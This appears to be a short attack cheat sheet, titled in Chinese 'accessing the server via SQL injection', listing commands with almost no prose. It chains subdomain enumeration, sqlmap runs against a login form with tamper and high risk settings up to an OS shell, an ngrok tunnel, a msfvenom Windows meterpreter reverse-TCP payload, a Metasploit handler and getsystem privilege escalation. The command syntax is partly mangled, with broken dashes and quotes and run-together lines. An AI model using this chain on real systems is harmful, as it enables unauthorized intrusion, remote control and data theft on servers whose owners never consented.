通过 SQL 注入访问服务器

amass enum -d site.com -passive | anew subs.txt && subfinder -d site.com -silent | anew subs.txt

cat subs.txt | httpx -mc 200 -o 200-subs.txt

sqlmap -u “https://www.site.com/login” — data=”username=a&password=b” — random-agent — tamper=space2comment — level 3 — risk 3 — dbs

sqlmap -u “https://www.site.com/login” — data=”username=a&password=b” — random-agent — tamper=space2comment — level 3 — risk 3 — is-dba

sqlmap -u “https://www.site.com/login” — data=”username=a&password=b” — random-agent — tamper=space2comment — level 3 — risk 3 — os-shell

ngrok TCP 1337

msfvenom -p windows/meterpreter/reverse_tcp lhost=*without tcp://* lport=*Enter the port* -f exe -o back.exe

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 1337 ( If you are using a different port, then use the port you specified when setting up “ngrok tcp port” )exploit

nt authority*not_administrator*

getsystemgetuid